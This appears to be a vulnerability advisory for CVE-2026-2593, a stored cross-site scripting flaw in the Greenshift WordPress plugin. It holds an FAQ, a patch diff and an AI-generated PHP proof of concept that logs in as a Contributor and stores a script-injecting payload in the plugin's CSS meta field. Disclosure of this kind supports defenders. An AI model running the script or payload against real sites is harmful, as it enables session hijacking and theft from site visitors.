What is CVE-2026-2593?

CVE-2026-2593 is a stored cross-site scripting (XSS) vulnerability in the Greenshift animation and page builder blocks plugin for WordPress. It allows authenticated users with Contributor-level access to inject malicious scripts into pages, which will execute when other users visit those pages.

How does the vulnerability work?

The vulnerability arises from insufficient input sanitization and output escaping of the `_gspb_post_css` post meta value and `dynamicAttributes` block attribute. Attackers can inject scripts by manipulating these fields, leading to the execution of arbitrary JavaScript in the context of any user viewing the compromised page.

Who is affected by this vulnerability?

All users of the Greenshift animation and page builder blocks plugin versions up to and including 12.8.5 are affected. Specifically, authenticated users with Contributor-level access and above can exploit this vulnerability.

How can I check if my site is vulnerable?

To check if your site is vulnerable, verify the version of the Greenshift plugin installed. If it is version 12.8.5 or earlier, your site is susceptible to this vulnerability. Additionally, review user roles to identify any Contributors or higher who could exploit the issue.

How can I fix CVE-2026-2593?

The vulnerability is patched in version 12.8.6 of the Greenshift plugin. Updating to this version will resolve the issue. Ensure to regularly check for updates to maintain security.

What should I do if I cannot update the plugin immediately?

If immediate updating is not possible, consider temporarily removing or disabling the Greenshift plugin until it can be updated. Additionally, review user roles and permissions to limit access to trusted users only.

What does the severity rating of Medium mean?

A Medium severity rating indicates that the vulnerability poses a moderate risk to the security of the application. While it requires authenticated access to exploit, successful exploitation can lead to significant issues such as session hijacking or site defacement.

What is the CVSS score for this vulnerability?

The CVSS score for CVE-2026-2593 is 6.4, which reflects a medium severity. This score is calculated based on various factors including exploitability and potential impact, indicating that while the vulnerability is not critical, it should be addressed promptly.

How does the proof of concept demonstrate the vulnerability?

The proof of concept provided shows how an attacker can log in as a Contributor and inject a malicious payload into the `_gspb_post_css` field. This demonstrates the vulnerability’s potential to execute JavaScript when a user views the affected page.

What are the potential consequences of this vulnerability?

If exploited, this vulnerability could allow attackers to execute scripts that may lead to session hijacking, data theft, or defacement of the site. This can compromise user accounts and overall site integrity.

Are there any other security measures I should consider?

In addition to updating the plugin, consider implementing a web application firewall (WAF) and regularly monitoring user activity. Educating users about secure practices can also help mitigate risks associated with vulnerabilities.

Where can I find more information about this vulnerability?

More information about CVE-2026-2593 can be found on the official CVE database, security advisories from WordPress, and forums discussing the Greenshift plugin. Keeping abreast of security updates from plugin developers is also essential.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2026-2593: Greenshift – animation and page builder blocks <= 12.8.5 – Authenticated (Contributor+) Stored Cross-Site Scripting (greenshift-animation-and-page-builder-blocks)

CVE ID CVE-2026-2593

Plugin greenshift-animation-and-page-builder-blocks

Severity Medium (CVSS 6.4)

CWE 79

Vulnerable Version 12.8.5

Patched Version 12.8.6

Disclosed March 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2593:
The vulnerability is a stored cross-site scripting (XSS) flaw in the Greenshift WordPress plugin. The root cause is insufficient input sanitization and output escaping for the `_gspb_post_css` post meta value and the `dynamicAttributes` block attribute. In the vulnerable code, the `dynamicAttributes` array values are processed through `greenshift_dynamic_placeholders()` after only a `sanitize_text_field()` call, which does not escape HTML for script contexts. The `_gspb_post_css` meta value is retrieved, passed through `htmlspecialchars_decode()`, and then only sanitized with `wp_strip_all_tags()` before being output within a “ tag. This allows an attacker to close the style tag and inject arbitrary JavaScript.

Exploitation requires Contributor-level access. An attacker can inject a malicious payload into the `_gspb_post_css` meta field via the block editor or by directly updating post meta. The payload executes when a user visits a page containing the malicious block. The `dynamicAttributes` array can also be abused to inject event handlers like `onload`, though the patch attempts to block attributes starting with ‘on’.

The patch in version 12.8.6 addresses the issue in several ways. In `block.php` line 673, it changes `strpos` to `stripos` to case-insensitively block event handler attributes. It also adds proper escaping for image `src` and `alt` attributes using `esc_url()` and `esc_attr()`. The patch refactors the style rendering logic in `init.php` but does not add new escaping for the `_gspb_post_css` field, suggesting the vulnerability may persist in other code paths. The primary fix appears to be the stricter validation of `dynamicAttributes` names.

If exploited, this vulnerability allows authenticated attackers with Contributor privileges to inject malicious scripts that execute in the context of any user viewing the compromised page, leading to session hijacking, site defacement, or admin credential theft.

Differential between vulnerable and patched code

Code Diff

--- a/greenshift-animation-and-page-builder-blocks/blockrender/element/block.php
+++ b/greenshift-animation-and-page-builder-blocks/blockrender/element/block.php
@@ -241,6 +241,19 @@
 						}
 					}
 				}
+			} else if($block['attrs']['tag'] == 'img'){
+				if(!empty($block['attrs']['src']) && strpos($block['attrs']['src'], '{{') !== false){
+					$p = new WP_HTML_Tag_Processor( $html );
+					$p->next_tag();
+					$p->set_attribute( 'src', esc_url(greenshift_dynamic_placeholders($block['attrs']['src'])));
+					$html = $p->get_updated_html();
+				}
+				if(!empty($block['attrs']['alt']) && strpos($block['attrs']['alt'], '{{') !== false){
+					$p = new WP_HTML_Tag_Processor( $html );
+					$p->next_tag();
+					$p->set_attribute( 'alt', greenshift_dynamic_placeholders(esc_attr($block['attrs']['alt'])));
+					$html = $p->get_updated_html();
+				}
 			}
 		}

@@ -660,7 +673,7 @@
 				}else{
 					$sanitized_value = sanitize_text_field($value['value']);
 					$dynamicAttributes[$index]['value'] = greenshift_dynamic_placeholders($sanitized_value);
-					if(!empty($dynamicAttributes[$index]['name']) && strpos($dynamicAttributes[$index]['name'], 'on') === 0){
+					if(!empty($dynamicAttributes[$index]['name']) && stripos($dynamicAttributes[$index]['name'], 'on') === 0){
 						$dynamicAttributes[$index]['value'] = '';
 					}
 				}
--- a/greenshift-animation-and-page-builder-blocks/build/gspbSiteEditor.asset.php
+++ b/greenshift-animation-and-page-builder-blocks/build/gspbSiteEditor.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-components', 'wp-element', 'wp-i18n'), 'version' => 'e14e68fb8cf0b5fc6163');
+<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-components', 'wp-element', 'wp-i18n'), 'version' => '5fdf53f9fcffe6e180ce');
--- a/greenshift-animation-and-page-builder-blocks/build/index.asset.php
+++ b/greenshift-animation-and-page-builder-blocks/build/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives'), 'version' => '993efe367776bbb80a67');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives'), 'version' => '9feb172495cb058bfbf4');
--- a/greenshift-animation-and-page-builder-blocks/init.php
+++ b/greenshift-animation-and-page-builder-blocks/init.php
@@ -1699,22 +1699,39 @@
 			if($block['blockName'] == 'core/block' && !empty($block['attrs']['ref'])){
 				$dynamic_style = get_post_meta((int)$block['attrs']['ref'], '_gspb_post_css', true);
 				$dynamic_style = apply_filters('gspb_reusable_inline_styles', $dynamic_style);
-			}else if(!empty($block['attrs']['CSSRender'])){
-				if(!empty($block['attrs']['styleAttributes']) && !empty($block['attrs']['localId'])){
-					$dynamic_style = gspb_render_style_attributes($block['attrs']['styleAttributes'], '.'.$block['attrs']['localId'], '', isset($block['attrs']['enableSpecificity']) ? $block['attrs']['enableSpecificity'] : false);
+		}else if(!empty($block['attrs']['CSSRender'])){
+			$dynamic_style = '';
+			if(!empty($block['attrs']['styleAttributes']) && !empty($block['attrs']['localId'])){
+				$dynamic_style = gspb_render_style_attributes($block['attrs']['styleAttributes'], '.'.$block['attrs']['localId'], '', isset($block['attrs']['enableSpecificity']) ? $block['attrs']['enableSpecificity'] : false);
+			}
+			if(!empty($block['attrs']['dynamicGClasses'])){
+				foreach ($block['attrs']['dynamicGClasses'] as $class) {
+					if(!empty($class['type']) && $class['type'] == 'local'){
+						if(!empty($class['css'])){
+							$dynamic_style .= $class['css'];
+						}
+						if(!empty($class['selectors'])){
+							foreach ($class['selectors'] as $sub_selector) {
+								if(!empty($sub_selector['css'])){
+									$dynamic_style .= $sub_selector['css'];
+								}
+							}
+						}
+					}
 				}
-			}else{
-				$dynamic_style = $block['attrs']['inlineCssStyles'];
-			}
-			$dynamic_style = gspb_get_final_css($dynamic_style);
-			$dynamic_style = gspb_quick_minify_css($dynamic_style);
-			$dynamic_style = htmlspecialchars_decode($dynamic_style);
-			if (function_exists('GSPB_make_dynamic_image') && !empty($block['attrs']['background']['dynamicEnable'])) {
-				$dynamic_style = GSPB_make_dynamic_image($dynamic_style, $block['attrs'], $block, $block['attrs']['background'], $block['attrs']['background']['image']);
 			}
-			$dynamic_style = '<style>' . wp_strip_all_tags($dynamic_style) . '</style>';
-			$html = $dynamic_style . $html;
+		}else{
+			$dynamic_style = $block['attrs']['inlineCssStyles'];
 		}
+		$dynamic_style = gspb_get_final_css($dynamic_style);
+		$dynamic_style = gspb_quick_minify_css($dynamic_style);
+		$dynamic_style = htmlspecialchars_decode($dynamic_style);
+		if (function_exists('GSPB_make_dynamic_image') && !empty($block['attrs']['background']['dynamicEnable'])) {
+			$dynamic_style = GSPB_make_dynamic_image($dynamic_style, $block['attrs'], $block, $block['attrs']['background'], $block['attrs']['background']['image']);
+		}
+		$dynamic_style = '<style>' . wp_strip_all_tags($dynamic_style) . '</style>';
+		$html = $dynamic_style . $html;
+	}
 	}
 	return $html;
 }
@@ -1743,25 +1760,42 @@
 			$styleStore = GreenShiftStyleStore::getInstance();
 			if($block['blockName'] == 'core/block' && !empty($block['attrs']['ref'])){
 				$dynamic_style = get_post_meta((int)$block['attrs']['ref'], '_gspb_post_css', true);
-			}else if(!empty($block['attrs']['CSSRender'])){
-				if(!empty($block['attrs']['styleAttributes']) && !empty($block['attrs']['localId'])){
-					$dynamic_style = gspb_render_style_attributes($block['attrs']['styleAttributes'], '.'.$block['attrs']['localId'], '', isset($block['attrs']['enableSpecificity']) ? $block['attrs']['enableSpecificity'] : false);
+		}else if(!empty($block['attrs']['CSSRender'])){
+			$dynamic_style = '';
+			if(!empty($block['attrs']['styleAttributes']) && !empty($block['attrs']['localId'])){
+				$dynamic_style = gspb_render_style_attributes($block['attrs']['styleAttributes'], '.'.$block['attrs']['localId'], '', isset($block['attrs']['enableSpecificity']) ? $block['attrs']['enableSpecificity'] : false);
+			}
+			if(!empty($block['attrs']['dynamicGClasses'])){
+				foreach ($block['attrs']['dynamicGClasses'] as $class) {
+					if(!empty($class['type']) && $class['type'] == 'local'){
+						if(!empty($class['css'])){
+							$dynamic_style .= $class['css'];
+						}
+						if(!empty($class['selectors'])){
+							foreach ($class['selectors'] as $sub_selector) {
+								if(!empty($sub_selector['css'])){
+									$dynamic_style .= $sub_selector['css'];
+								}
+							}
+						}
+					}
 				}
-			}else{
-				$dynamic_style = $block['attrs']['inlineCssStyles'];
-			}
-			$dynamic_style = gspb_get_final_css($dynamic_style);
-			$dynamic_style = gspb_quick_minify_css($dynamic_style);
-			$dynamic_style = htmlspecialchars_decode($dynamic_style);
-			$dynamic_style = wp_strip_all_tags($dynamic_style);
-			if (function_exists('GSPB_make_dynamic_image') && !empty($block['attrs']['background']['dynamicEnable'])) {
-				$dynamic_style = GSPB_make_dynamic_image($dynamic_style, $block['attrs'], $block, $block['attrs']['background'], $block['attrs']['background']['image']);
-			}
-			if($block['blockName'] == 'core/block' && !empty($block['attrs']['ref'])){
-				$styleStore->addClassStyle('ref_'.greenshift_sanitize_id_key($block['attrs']['ref']), $dynamic_style);
-			}else{
-				$styleStore->addClassStyle(greenshift_sanitize_id_key($block['attrs']['id']), $dynamic_style);
 			}
+		}else{
+			$dynamic_style = $block['attrs']['inlineCssStyles'];
+		}
+		$dynamic_style = gspb_get_final_css($dynamic_style);
+		$dynamic_style = gspb_quick_minify_css($dynamic_style);
+		$dynamic_style = htmlspecialchars_decode($dynamic_style);
+		$dynamic_style = wp_strip_all_tags($dynamic_style);
+		if (function_exists('GSPB_make_dynamic_image') && !empty($block['attrs']['background']['dynamicEnable'])) {
+			$dynamic_style = GSPB_make_dynamic_image($dynamic_style, $block['attrs'], $block, $block['attrs']['background'], $block['attrs']['background']['image']);
+		}
+		if($block['blockName'] == 'core/block' && !empty($block['attrs']['ref'])){
+			$styleStore->addClassStyle('ref_'.greenshift_sanitize_id_key($block['attrs']['ref']), $dynamic_style);
+		}else{
+			$styleStore->addClassStyle(greenshift_sanitize_id_key($block['attrs']['id']), $dynamic_style);
+		}
 			//echo $styleStore->getStyles();
 		}
 	}
--- a/greenshift-animation-and-page-builder-blocks/plugin.php
+++ b/greenshift-animation-and-page-builder-blocks/plugin.php
@@ -6,7 +6,7 @@
  * Author: Wpsoul
  * Author URI: https://greenshiftwp.com
  * Plugin URI: https://greenshiftwp.com
- * Version: 12.8.5
+ * Version: 12.8.6
  * Text Domain: greenshift-animation-and-page-builder-blocks
  * License: GPL2+
  * License URI: https://www.gnu.org/licenses/gpl-2.0.txt

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2593 - Greenshift – animation and page builder blocks <= 12.8.5 - Authenticated (Contributor+) Stored Cross-Site Scripting
<?php
// CONFIGURATION
$target_url = 'http://vulnerable-wordpress-site.local';
$username = 'contributor';
$password = 'password';
$post_id = 1; // ID of a post the contributor can edit

// Payload to close the style tag and inject JavaScript
$malicious_css = '</style><script>alert(document.domain);</script>';

// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$login_result = curl_exec($ch);

// Verify login by checking for dashboard redirect
if (strpos($login_result, 'wp-admin') === false) {
    die('Login failed');
}

// Now update the post meta with the malicious CSS
// This simulates an attacker injecting via the block editor or a direct meta update
$update_url = $target_url . '/wp-admin/admin-ajax.php';
curl_setopt($ch, CURLOPT_URL, $update_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'action' => 'editpost', // This is a generic example; the actual AJAX action may vary
    'post_ID' => $post_id,
    'meta' => array(
        '_gspb_post_css' => $malicious_css
    )
)));
$ajax_result = curl_exec($ch);

// Alternatively, use the REST API to update post meta if the plugin uses it
// $rest_url = $target_url . '/wp-json/wp/v2/posts/' . $post_id;
// curl_setopt($ch, CURLOPT_URL, $rest_url);
// curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
// curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(array('meta' => array('_gspb_post_css' => $malicious_css))));
// curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
// $rest_result = curl_exec($ch);

curl_close($ch);

echo 'Payload injected. Visit post ID ' . $post_id . ' to trigger XSS.';
?>

Frequently Asked Questions

What is CVE-2026-2593?
Overview of the vulnerability
CVE-2026-2593 is a stored cross-site scripting (XSS) vulnerability in the Greenshift animation and page builder blocks plugin for WordPress. It allows authenticated users with Contributor-level access to inject malicious scripts into pages, which will execute when other users visit those pages.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability arises from insufficient input sanitization and output escaping of the `_gspb_post_css` post meta value and `dynamicAttributes` block attribute. Attackers can inject scripts by manipulating these fields, leading to the execution of arbitrary JavaScript in the context of any user viewing the compromised page.
Who is affected by this vulnerability?
Identifying vulnerable users and systems
All users of the Greenshift animation and page builder blocks plugin versions up to and including 12.8.5 are affected. Specifically, authenticated users with Contributor-level access and above can exploit this vulnerability.
How can I check if my site is vulnerable?
Steps for vulnerability assessment
To check if your site is vulnerable, verify the version of the Greenshift plugin installed. If it is version 12.8.5 or earlier, your site is susceptible to this vulnerability. Additionally, review user roles to identify any Contributors or higher who could exploit the issue.
How can I fix CVE-2026-2593?
Updating the plugin
The vulnerability is patched in version 12.8.6 of the Greenshift plugin. Updating to this version will resolve the issue. Ensure to regularly check for updates to maintain security.
What should I do if I cannot update the plugin immediately?
Mitigation strategies
If immediate updating is not possible, consider temporarily removing or disabling the Greenshift plugin until it can be updated. Additionally, review user roles and permissions to limit access to trusted users only.
What does the severity rating of Medium mean?
Understanding risk levels
A Medium severity rating indicates that the vulnerability poses a moderate risk to the security of the application. While it requires authenticated access to exploit, successful exploitation can lead to significant issues such as session hijacking or site defacement.
What is the CVSS score for this vulnerability?
Understanding the CVSS score
The CVSS score for CVE-2026-2593 is 6.4, which reflects a medium severity. This score is calculated based on various factors including exploitability and potential impact, indicating that while the vulnerability is not critical, it should be addressed promptly.
How does the proof of concept demonstrate the vulnerability?
Technical details of the PoC
The proof of concept provided shows how an attacker can log in as a Contributor and inject a malicious payload into the `_gspb_post_css` field. This demonstrates the vulnerability’s potential to execute JavaScript when a user views the affected page.
What are the potential consequences of this vulnerability?
Risks associated with exploitation
If exploited, this vulnerability could allow attackers to execute scripts that may lead to session hijacking, data theft, or defacement of the site. This can compromise user accounts and overall site integrity.
Are there any other security measures I should consider?
Additional security practices
In addition to updating the plugin, consider implementing a web application firewall (WAF) and regularly monitoring user activity. Educating users about secure practices can also help mitigate risks associated with vulnerabilities.
Where can I find more information about this vulnerability?
Resources for further reading
More information about CVE-2026-2593 can be found on the official CVE database, security advisories from WordPress, and forums discussing the Greenshift plugin. Keeping abreast of security updates from plugin developers is also essential.

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